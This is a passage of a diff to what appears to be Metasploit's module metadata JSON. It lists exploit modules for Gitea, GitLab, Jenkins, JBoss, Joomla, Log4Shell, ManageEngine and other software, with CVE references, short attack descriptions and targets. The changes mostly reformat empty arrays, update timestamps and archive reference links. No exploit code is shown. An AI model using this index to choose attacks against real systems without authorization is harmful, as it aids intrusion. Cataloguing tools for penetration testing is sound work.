}, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/gibbon_auth_rce_cve_2024_24725": { "name": "Gibbon School Platform Authenticated PHP Deserialization Vulnerability", "fullname": "exploit/multi/http/gibbon_auth_rce_cve_2024_24725", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-18", "type": "exploit", @@ -105913,9 +93537,7 @@ "exploit_multi/http/git_client_command_exec": { "name": "Malicious Git and Mercurial HTTP Server For CVE-2014-9390", "fullname": "exploit/multi/http/git_client_command_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-12-18", "type": "exploit", @@ -105930,24 +93552,20 @@ "URL-http://article.gmane.org/gmane.linux.kernel/1853266", "URL-https://github.com/blog/1938-vulnerability-announced-update-your-git-clients", "URL-https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/", - "URL-http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29", + "URL-http://web.archive.org/web/20221226100335/https://mercurial.selenic.com/wiki/WhatsNew", "URL-http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e", "URL-http://selenic.com/repo/hg-stable/rev/6dad422ecc5a" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows Powershell" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/git_client_command_exec.rb", "is_install_path": true, "ref_name": "multi/http/git_client_command_exec", @@ -105972,9 +93590,7 @@ "exploit_multi/http/git_lfs_clone_command_exec": { "name": "Git LFS Clone Command Exec", "fullname": "exploit/multi/http/git_lfs_clone_command_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-04-26", "type": "exploit", @@ -106035,9 +93651,7 @@ "exploit_multi/http/git_submodule_command_exec": { "name": "Malicious Git HTTP Server For CVE-2017-1000117", "fullname": "exploit/multi/http/git_submodule_command_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-08-10", "type": "exploit", @@ -106052,12 +93666,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -106068,17 +93678,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/git_submodule_url_exec": { "name": "Malicious Git HTTP Server For CVE-2018-17456", "fullname": "exploit/multi/http/git_submodule_url_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-10-05", "type": "exploit", @@ -106095,12 +93702,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -106129,9 +93732,7 @@ "exploit_multi/http/gitea_git_fetch_rce": { "name": "Gitea Git Fetch Remote Code Execution", "fullname": "exploit/multi/http/gitea_git_fetch_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-05-16", "type": "exploit", @@ -106183,9 +93784,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -106193,9 +93792,7 @@ "exploit_multi/http/gitea_git_hooks_rce": { "name": "Gitea Git Hooks Remote Code Execution", "fullname": "exploit/multi/http/gitea_git_hooks_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-07", "type": "exploit", @@ -106208,7 +93805,7 @@ "CVE-2020-14144", "EDB-49571", "URL-https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/", - "URL-https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/" + "URL-http://web.archive.org/web/20211209025818/https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/" ], "platform": "Linux,Unix,Windows", "arch": "cmd, x86, x64", @@ -106234,7 +93831,7 @@ "Windows Command", "Windows Dropper" ], - "mod_time": "2021-10-01 00:43:35 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/gitea_git_hooks_rce.rb", "is_install_path": true, "ref_name": "multi/http/gitea_git_hooks_rce", @@ -106259,9 +93856,7 @@ "exploit_multi/http/gitlab_exif_rce": { "name": "GitLab Unauthenticated Remote ExifTool Command Injection", "fullname": "exploit/multi/http/gitlab_exif_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-04-14", "type": "exploit", @@ -106325,9 +93920,7 @@ "exploit_multi/http/gitlab_file_read_rce": { "name": "GitLab File Read Remote Code Execution", "fullname": "exploit/multi/http/gitlab_file_read_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-26", "type": "exploit", @@ -106387,9 +93980,7 @@ "exploit_multi/http/gitlab_github_import_rce_cve_2022_2992": { "name": "GitLab GitHub Repo Import Deserialization RCE", "fullname": "exploit/multi/http/gitlab_github_import_rce_cve_2022_2992", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-06", "type": "exploit", @@ -106450,9 +94041,7 @@ "exploit_multi/http/gitlab_shell_exec": { "name": "Gitlab-shell Code Execution", "fullname": "exploit/multi/http/gitlab_shell_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-04", "type": "exploit", @@ -106495,17 +94084,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/gitlist_arg_injection": { "name": "GitList v0.6.0 Argument Injection Vulnerability", "fullname": "exploit/multi/http/gitlist_arg_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-04-26", "type": "exploit", @@ -106517,7 +94103,7 @@ "references": [ "CVE-2018-1000533", "EDB-44548", - "URL-https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html" + "URL-http://web.archive.org/web/20200122054133/https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html" ], "platform": "PHP", "arch": "php", @@ -106540,24 +94126,21 @@ "targets": [ "GitList v0.6.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/gitlist_arg_injection.rb", "is_install_path": true, "ref_name": "multi/http/gitlist_arg_injection", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/gitorious_graph": { "name": "Gitorious Arbitrary Command Execution", "fullname": "exploit/multi/http/gitorious_graph", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-19", "type": "exploit", @@ -106597,17 +94180,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/glassfish_deployer": { "name": "Sun/Oracle GlassFish Server Authenticated Code Execution", "fullname": "exploit/multi/http/glassfish_deployer", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-08-04", "type": "exploit", @@ -106652,17 +94232,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/glossword_upload_exec": { "name": "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/glossword_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-05", "type": "exploit", @@ -106703,17 +94280,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/glpi_install_rce": { "name": "GLPI install.php Remote Command Execution", "fullname": "exploit/multi/http/glpi_install_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-09-12", "type": "exploit", @@ -106754,17 +94328,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/gogs_git_hooks_rce": { "name": "Gogs Git Hooks Remote Code Execution", "fullname": "exploit/multi/http/gogs_git_hooks_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-07", "type": "exploit", @@ -106777,7 +94348,7 @@ "CVE-2020-15867", "EDB-49571", "URL-https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/", - "URL-https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/" + "URL-http://web.archive.org/web/20211209025818/https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/" ], "platform": "Linux,Unix,Windows", "arch": "cmd, x86, x64", @@ -106803,7 +94374,7 @@ "Windows Command", "Windows Dropper" ], - "mod_time": "2023-02-10 18:04:31 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/gogs_git_hooks_rce.rb", "is_install_path": true, "ref_name": "multi/http/gogs_git_hooks_rce", @@ -106829,9 +94400,7 @@ "exploit_multi/http/horde_csv_rce": { "name": "Horde CSV import arbitrary PHP code execution", "fullname": "exploit/multi/http/horde_csv_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-07", "type": "exploit", @@ -106889,9 +94458,7 @@ "exploit_multi/http/horde_form_file_upload": { "name": "Horde Form File Upload Vulnerability", "fullname": "exploit/multi/http/horde_form_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-24", "type": "exploit", @@ -106931,17 +94498,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/horde_href_backdoor": { "name": "Horde 3.3.12 Backdoor Arbitrary PHP Code Execution", "fullname": "exploit/multi/http/horde_href_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-02-13", "type": "exploit", @@ -106985,17 +94549,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/horizontcms_upload_exec": { "name": "HorizontCMS Arbitrary PHP File Upload", "fullname": "exploit/multi/http/horizontcms_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-24", "type": "exploit", @@ -107054,9 +94615,7 @@ "exploit_multi/http/hp_sitescope_issuesiebelcmd": { "name": "HP SiteScope issueSiebelCmd Remote Code Execution", "fullname": "exploit/multi/http/hp_sitescope_issuesiebelcmd", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-10-30", "type": "exploit", @@ -107100,17 +94659,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/hp_sitescope_uploadfileshandler": { "name": "HP SiteScope Remote Code Execution", "fullname": "exploit/multi/http/hp_sitescope_uploadfileshandler", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-08-29", "type": "exploit", @@ -107158,17 +94714,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/hp_sys_mgmt_exec": { "name": "HP System Management Homepage JustGetSNMPQueue Command Injection", "fullname": "exploit/multi/http/hp_sys_mgmt_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-11", "type": "exploit", @@ -107214,17 +94767,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/hyperic_hq_script_console": { "name": "VMware Hyperic HQ Groovy Script-Console Java Execution", "fullname": "exploit/multi/http/hyperic_hq_script_console", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-10", "type": "exploit", @@ -107233,7 +94783,7 @@ ], "description": "This module uses the VMware Hyperic HQ Groovy script console to execute\n OS commands using Java. Valid credentials for an application administrator\n user account are required. This module has been tested successfully with\n Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems.", "references": [ - "URL-https://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html" + "URL-http://web.archive.org/web/20161229045841/http://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html" ], "platform": "Linux,Unix,Windows", "arch": "", @@ -107259,24 +94809,21 @@ "Linux", "Unix CMD" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/hyperic_hq_script_console.rb", "is_install_path": true, "ref_name": "multi/http/hyperic_hq_script_console", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/ibm_openadmin_tool_soap_welcomeserver_exec": { "name": "IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution", "fullname": "exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-30", "type": "exploit", @@ -107320,17 +94867,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/ispconfig_php_exec": { "name": "ISPConfig Authenticated Arbitrary PHP Code Execution", "fullname": "exploit/multi/http/ispconfig_php_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-30", "type": "exploit", @@ -107370,17 +94914,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/jboss_bshdeployer": { "name": "JBoss JMX Console Beanshell Deployer WAR Upload and Deployment", "fullname": "exploit/multi/http/jboss_bshdeployer", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-04-26", "type": "exploit", @@ -107428,17 +94969,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/jboss_deploymentfilerepository": { "name": "JBoss Java Class DeploymentFileRepository WAR Deployment", "fullname": "exploit/multi/http/jboss_deploymentfilerepository", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-04-26", "type": "exploit", @@ -107486,17 +95024,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/jboss_invoke_deploy": { "name": "JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)", "fullname": "exploit/multi/http/jboss_invoke_deploy", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-02-20", "type": "exploit", @@ -107542,17 +95077,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/jboss_maindeployer": { "name": "JBoss JMX Console Deployer Upload and Execute", "fullname": "exploit/multi/http/jboss_maindeployer", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-02-20", "type": "exploit", @@ -107600,17 +95132,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/jboss_seam_upload_exec": { "name": "JBoss Seam 2 File Upload and Execute", "fullname": "exploit/multi/http/jboss_seam_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-05", "type": "exploit", @@ -107652,17 +95181,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/jenkins_metaprogramming": { "name": "Jenkins ACL Bypass and Metaprogramming RCE", "fullname": "exploit/multi/http/jenkins_metaprogramming", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-01-08", "type": "exploit", @@ -107735,9 +95261,7 @@ "exploit_multi/http/jenkins_script_console": { "name": "Jenkins-CI Script-Console Java Execution", "fullname": "exploit/multi/http/jenkins_script_console", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2013-01-18", "type": "exploit", @@ -107798,9 +95322,7 @@ "exploit_multi/http/jenkins_xstream_deserialize": { "name": "Jenkins XStream Groovy classpath Deserialization Vulnerability", "fullname": "exploit/multi/http/jenkins_xstream_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-24", "type": "exploit", @@ -107847,17 +95369,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/jetbrains_teamcity_rce_cve_2023_42793": { "name": "JetBrains TeamCity Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-09-19", "type": "exploit", @@ -107916,9 +95435,7 @@ "exploit_multi/http/jetbrains_teamcity_rce_cve_2024_27198": { "name": "JetBrains TeamCity Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-04", "type": "exploit", @@ -107980,9 +95497,7 @@ "exploit_multi/http/jira_hipchat_template": { "name": "Atlassian HipChat for Jira Plugin Velocity Template Injection", "fullname": "exploit/multi/http/jira_hipchat_template", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-10-28", "type": "exploit", @@ -108027,17 +95542,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/jira_plugin_upload": { "name": "Atlassian Jira Authenticated Upload Code Execution", "fullname": "exploit/multi/http/jira_plugin_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-02-22", "type": "exploit", @@ -108078,17 +95590,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/joomla_http_header_rce": { "name": "Joomla HTTP Header Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/joomla_http_header_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-14", "type": "exploit", @@ -108101,8 +95610,8 @@ "CVE-2015-8562", "EDB-38977", "EDB-39033", - "URL-https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html", - "URL-https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html", + "URL-http://web.archive.org/web/20250117165939/https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html", + "URL-http://web.archive.org/web/20250220041731/https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html", "URL-https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html", "URL-https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/", "URL-https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330", @@ -108130,24 +95639,21 @@ "targets": [ "Joomla 1.5.0 - 3.4.5" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/joomla_http_header_rce.rb", "is_install_path": true, "ref_name": "multi/http/joomla_http_header_rce", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/kong_gateway_admin_api_rce": { "name": "Kong Gateway Admin API Remote Code Execution", "fullname": "exploit/multi/http/kong_gateway_admin_api_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-13", "type": "exploit", @@ -108206,9 +95712,7 @@ "exploit_multi/http/kordil_edms_upload_exec": { "name": "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/kordil_edms_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-22", "type": "exploit", @@ -108248,17 +95752,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/lcms_php_exec": { "name": "LotusCMS 3.0 eval() Remote Command Execution", "fullname": "exploit/multi/http/lcms_php_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-03-03", "type": "exploit", @@ -108301,17 +95802,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/liferay_java_unmarshalling": { "name": "Liferay Portal Java Unmarshalling via JSONWS RCE", "fullname": "exploit/multi/http/liferay_java_unmarshalling", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-25", "type": "exploit", @@ -108373,9 +95871,7 @@ "exploit_multi/http/log1cms_ajax_create_folder": { "name": "Log1 CMS writeInfo() PHP Code Injection", "fullname": "exploit/multi/http/log1cms_ajax_create_folder", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-04-11", "type": "exploit", @@ -108419,17 +95915,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/log4shell_header_injection": { "name": "Log4Shell HTTP Header Injection", "fullname": "exploit/multi/http/log4shell_header_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-09", "type": "exploit", @@ -108498,9 +95991,7 @@ "exploit_multi/http/lucee_scheduled_job": { "name": "Lucee Authenticated Scheduled Job Code Execution", "fullname": "exploit/multi/http/lucee_scheduled_job", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-02-10", "type": "exploit", @@ -108560,9 +96051,7 @@ "exploit_multi/http/magento_unserialize": { "name": "Magento 2.0.6 Unserialize Remote Code Execution", "fullname": "exploit/multi/http/magento_unserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-05-17", "type": "exploit", @@ -108607,17 +96096,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/makoserver_cmd_exec": { "name": "Mako Server v2.5, 2.6 OS Command Injection RCE", "fullname": "exploit/multi/http/makoserver_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-09-03", "type": "exploit", @@ -108658,17 +96144,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/manage_engine_dc_pmp_sqli": { "name": "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection", "fullname": "exploit/multi/http/manage_engine_dc_pmp_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-06-08", "type": "exploit", @@ -108716,17 +96199,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966": { "name": "ManageEngine ADSelfService Plus Unauthenticated SAML RCE", "fullname": "exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-10", "type": "exploit", @@ -108790,9 +96270,7 @@ "exploit_multi/http/manageengine_auth_upload": { "name": "ManageEngine Multiple Products Authenticated File Upload", "fullname": "exploit/multi/http/manageengine_auth_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-12-15", "type": "exploit", @@ -108836,17 +96314,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/manageengine_sd_uploader": { "name": "ManageEngine ServiceDesk Plus Arbitrary File Upload", "fullname": "exploit/multi/http/manageengine_sd_uploader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-20", "type": "exploit", @@ -108886,17 +96361,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/manageengine_search_sqli": { "name": "ManageEngine Security Manager Plus 5.5 Build 5505 SQL Injection", "fullname": "exploit/multi/http/manageengine_search_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-18", "type": "exploit", @@ -108941,17 +96413,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966": { "name": "ManageEngine ServiceDesk Plus Unauthenticated SAML RCE", "fullname": "exploit/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-10", "type": "exploit", @@ -109018,9 +96487,7 @@ "exploit_multi/http/mantisbt_manage_proj_page_rce": { "name": "Mantis manage_proj_page PHP Code Execution", "fullname": "exploit/multi/http/mantisbt_manage_proj_page_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-10-16", "type": "exploit", @@ -109061,17 +96528,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/mantisbt_php_exec": { "name": "MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability", "fullname": "exploit/multi/http/mantisbt_php_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-11-08", "type": "exploit", @@ -109115,17 +96579,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/maracms_upload_exec": { "name": "MaraCMS Arbitrary PHP File Upload", "fullname": "exploit/multi/http/maracms_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-08-31", "type": "exploit", @@ -109186,9 +96647,7 @@ "exploit_multi/http/mediawiki_syntaxhighlight": { "name": "MediaWiki SyntaxHighlight extension option injection vulnerability", "fullname": "exploit/multi/http/mediawiki_syntaxhighlight", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-04-06", "type": "exploit", @@ -109230,17 +96689,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/mediawiki_thumb": { "name": "MediaWiki Thumb.php Remote Command Execution", "fullname": "exploit/multi/http/mediawiki_thumb", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-28", "type": "exploit", @@ -109287,17 +96743,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/metasploit_static_secret_key_base": { "name": "Metasploit Web UI Static secret_key_base Value", "fullname": "exploit/multi/http/metasploit_static_secret_key_base", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-09-15", "type": "exploit", @@ -109339,17 +96792,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/metasploit_webui_console_command_execution": { "name": "Metasploit Web UI Diagnostic Console Command Execution", "fullname": "exploit/multi/http/metasploit_webui_console_command_execution", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-23", "type": "exploit", @@ -109357,9 +96807,7 @@ "Justin Steven" ], "description": "This module exploits the \"diagnostic console\" feature in the Metasploit\n Web UI to obtain a reverse shell.\n\n The diagnostic console is able to be enabled or disabled by an\n administrator on Metasploit Pro and by an authenticated user on\n Metasploit Express and Metasploit Community. When enabled, the\n diagnostic console provides access to msfconsole via the web interface.\n An authenticated user can then use the console to execute shell\n commands.\n\n NOTE: Valid credentials are required for this module.\n\n Tested against:\n\n Metasploit Community 4.1.0,\n Metasploit Community 4.8.2,\n Metasploit Community 4.12.0", - "references": [ - - ], + "references": [], "platform": "", "arch": "cmd", "rport": 3790, @@ -109389,17 +96837,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/microfocus_obm_auth_rce": { "name": "Micro Focus Operations Bridge Manager Authenticated Remote Code Execution", "fullname": "exploit/multi/http/microfocus_obm_auth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-28", "type": "exploit", @@ 